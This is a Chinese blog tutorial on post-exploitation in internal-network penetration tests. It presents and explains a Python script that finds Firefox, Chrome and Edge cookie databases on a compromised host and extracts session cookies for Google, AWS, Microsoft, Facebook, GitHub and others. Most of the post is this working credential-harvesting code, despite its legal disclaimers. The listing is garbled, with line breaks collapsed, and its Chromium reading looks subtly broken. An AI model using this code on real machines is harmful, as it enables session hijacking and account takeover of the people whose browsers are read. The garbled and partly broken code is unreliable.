当前位置: 首页 > backend >正文

Python 实战:内网渗透中的信息收集自动化脚本(5)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次我们来讲解关于使用python脚本获得cookie,这里或许有疑问,相比于浏览器或者抓包工具来获取cookie,那么用脚本来获取cookie有哪些优势呢,这里主要有两点

  1. 离线获取:无需浏览器处于运行状态,只要能访问到本地 Cookie 文件,即可获取历史存储的 Cookie,而开发者模式需要浏览器实时运行且用户手动操作,抓包工具需要依赖实时网络请求。
  2. 批量提取:可一次性读取浏览器存储的所有符合规则的 Cookie,无需逐个页面或请求查看。

在内网渗透中,已经getshell获得系统的权限下,这种读取cookie的方式就尤为合适了。

接下来通过代码来展示如何获取cookie,代码如下

import sqlite3
import os
import platform
from pathlib import Pathdef show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)# 获取不同浏览器在不同系统下的默认Cookie路径(优化Edge路径检测)
def get_browser_cookie_paths(browser):system = platform.system()paths = []try:if browser == "firefox":# Firefox: 所有系统均使用SQLite,路径格式统一if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin":  # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))elif browser in ["chrome", "edge"]:# Chrome/Edge: 基于Chromium,优化路径检测(支持根目录和子配置文件夹)if system == "Windows":# Chrome默认路径chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"# Edge默认路径edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_baseelif system == "Darwin":base = Path.home() / "Library" / "Application Support" / ("Google/Chrome" if browser == "chrome" else "Microsoft Edge")elif system == "Linux":base = Path.home() / ".config" / ("google-chrome" if browser == "chrome" else "microsoft-edge")# 【优化点】:先检查根目录,再检查常见子配置文件夹(覆盖特殊路径场景)if base.exists():# 检查顺序:根目录 → Default → Profile 1 → Profile 2(适配更多场景)for profile in ["", "Default", "Profile 1", "Profile 2"]:  if profile:  # 非空字符串表示子文件夹cookie_file = base / profile / "Cookies"else:  # 空字符串表示根目录(User Data直接存放Cookies)cookie_file = base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))elif browser == "safari":# Safari (仅macOS): 存储在~/Library/Cookies/Cookies.binarycookies(二进制格式)if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]# 读取Cookie数据库(适配不同浏览器的表结构)
def read_cookies(cookie_path, browser):try:# 不同浏览器的表名和字段可能不同if browser in ["firefox"]:# Firefox: 表名moz_cookies,字段顺序:host, name, valuequery = "SELECT host, name, value FROM moz_cookies"elif browser in ["chrome", "edge"]:# Chromium系: 表名cookies,字段:host_key, name, valuequery = "SELECT host_key, name, value FROM cookies"else:return []with sqlite3.connect(cookie_path) as conn:# 解决Chromium数据库锁定问题(只读模式)conn.execute("PRAGMA query_only = 1")c = conn.cursor()c.execute(query)return c.fetchall()  # (host, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []def main():show_security_warning()# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取默认路径或手动输入default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookieif browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 目标Cookie规则target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],".microsoftonline.com": ["ESTSAUTHPERSISTENT"],".facebook.com": ["c_user", "cs"],".onelogin.com": ["sub_session_onelogin.com"],".github.com": ["user_session"],".live.com": ["RPSSecAuth"],}# 4. 输出结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 隐藏中间部分值hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")if __name__ == "__main__":main()

1. 导入模块部分

import sqlite3
import os
import platform
from pathlib import Path
  • sqlite3:用于操作 SQLite 数据库(大多数浏览器的 Cookie 以 SQLite 格式存储)
  • os:用于获取系统环境变量(如 Windows 的 APPDATA 路径)
  • platform:用于判断当前操作系统(Windows/macOS/Linux)
  • Path(来自 pathlib):提供更便捷的路径处理方法,支持跨平台路径操作

2. 安全提示函数 show_security_warning()

def show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)
  • 功能:程序启动时强制显示安全声明,强调合法性和数据敏感性
  • 逻辑:只有用户输入 'y' 才继续执行,其他情况直接退出

3. 浏览器 Cookie 路径获取函数 get_browser_cookie_paths(browser)

def get_browser_cookie_paths(browser):system = platform.system()  # 获取当前系统(Windows/Darwin即macOS/Linux)paths = []try:# 根据浏览器类型和系统,定义不同的默认路径规则if browser == "firefox":# Firefox的路径规则(所有系统均使用cookies.sqlite文件)if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin":  # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))# Chrome和Edge(基于Chromium内核,路径规则相似)elif browser in ["chrome", "edge"]:if system == "Windows":chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_base# ... 省略macOS和Linux的路径定义 ...# 优化点:按优先级检查路径(根目录 → Default → Profile 1等)if base.exists():for profile in ["", "Default", "Profile 1", "Profile 2"]:  cookie_file = base / profile / "Cookies" if profile else base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))# Safari(特殊二进制格式,仅macOS支持)elif browser == "safari":if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")# 返回结果处理return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]
  • 核心功能:根据浏览器类型和操作系统,自动查找默认的 Cookie 文件路径
  • 细节处理:
    • 针对不同浏览器(Firefox/Chrome/Edge/Safari)的路径特性分别处理
    • 考虑多配置文件场景(如 Chrome 的 "Default"、"Profile 1" 等)
    • 对 Safari 特殊说明(二进制格式,需专用工具解析)
    • 异常处理:路径获取失败时返回错误信息

4. Cookie 读取函数 read_cookies(cookie_path, browser)

def read_cookies(cookie_path, browser):try:# 不同浏览器的SQLite表结构不同,需使用对应查询语句if browser in ["firefox"]:query = "SELECT host, name, value FROM moz_cookies"  # Firefox表名和字段elif browser in ["chrome", "edge"]:query = "SELECT host_key, name, value FROM cookies"  # Chromium系表名和字段else:return []# 连接数据库并读取数据with sqlite3.connect(cookie_path) as conn:conn.execute("PRAGMA query_only = 1")  # 只读模式,避免锁定浏览器数据库c = conn.cursor()c.execute(query)return c.fetchall()  # 返回结果格式:(host/host_key, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []
  • 核心功能:连接浏览器的 Cookie 数据库(SQLite 格式),读取 Cookie 的核心信息(域名、名称、值)
  • 关键处理:
    • 适配不同浏览器的表结构差异(Firefox 用moz_cookies表,Chromium 系用cookies表)
    • 设置PRAGMA query_only = 1:以只读模式打开,避免浏览器运行时数据库被锁定的问题
    • 异常捕获:处理 SQLite 操作可能出现的错误(如文件损坏、权限不足)

5. 主函数 main()

def main():show_security_warning()  # 先显示安全提示# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取Cookie路径(默认或手动输入)default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")# 选择使用默认路径还是手动输入use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookie(跳过Safari,因需特殊解析)if browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 4. 筛选敏感Cookie(定义目标规则)target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID"],  # 谷歌账号相关Cookie".microsoftonline.com": ["ESTSAUTHPERSISTENT"],  # 微软账号相关# ... 省略其他规则 ...}# 5. 输出筛选结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 敏感值部分隐藏(显示前5后5字符,中间用***代替)hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")
  • 核心流程:程序的主控制逻辑,串联各功能模块
  • 步骤解析:
    1. 先调用安全提示函数,确保用户确认合规性
    2. 让用户选择浏览器,校验输入合法性
    3. 获取并展示默认 Cookie 路径,支持用户选择默认路径或手动输入
    4. 对非 Safari 浏览器,调用read_cookies读取数据
    5. target_cookies规则筛选敏感 Cookie
    6. 输出结果时对敏感值进行部分隐藏,减少泄露风险

http://www.xdnf.cn/news/19092.html

相关文章:

  • Rust项目的运行机制与实践
  • POE供电是什么?
  • 使用leapp升级Linux
  • 深入理解Go 与 PHP 在参数传递上的核心区别
  • 领域知识如何注入LLM-检索增强生成
  • Java 学习笔记(基础篇11)
  • ExcelJS实现导入转换HTML展示(附源码可直接使用)
  • JavaScript 基础核心知识点总结:从使用方式到核心语法
  • RAG 系统核心:深入理解向量相似度匹配与文本向量化
  • Springboot高校迎新系统2cbcd(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • 【原创】MiniCPM-V 4.5模型测试 pk gemini2.5pro 本地8G显卡
  • 第四章 Vue3 + Three.js 实战:GLTF 模型加载与交互完整方案
  • @Gitea 介绍部署使用详细指南
  • 【二叉树(DFS)- LeetCode】124. 二叉树中的最大路径和
  • 3 反向传播
  • WebStorm-在WebStorm中使用Git管理项目
  • Set和Map
  • Manus AI:突破多语言手写识别的技术壁垒,重塑全球交流方式
  • 【69页PPT】智慧方案智慧校园解决方案(附下载方式)
  • oceanbase-参数及变量的记录
  • 零成本解锁 Cursor Pro:虚拟卡白嫖1个月+14天试用全攻略
  • 【MFC自动生成的文件详解:YoloClassMFC.cpp 的逐行解释、作用及是否能删除】
  • 30分钟入门实战速成Cursor IDE(2)
  • B树的概述以及插入逻辑
  • 亚马逊的宝藏促销活动~
  • Java全栈开发实战:从基础到微服务的深度探索
  • KNN算法详解:鸢尾花识别和手写数字识别
  • 在做题中学习(91):二叉树的锯齿形层序遍历
  • Vue3 中的 v-model 语法糖
  • 什么是token,什么叫词嵌入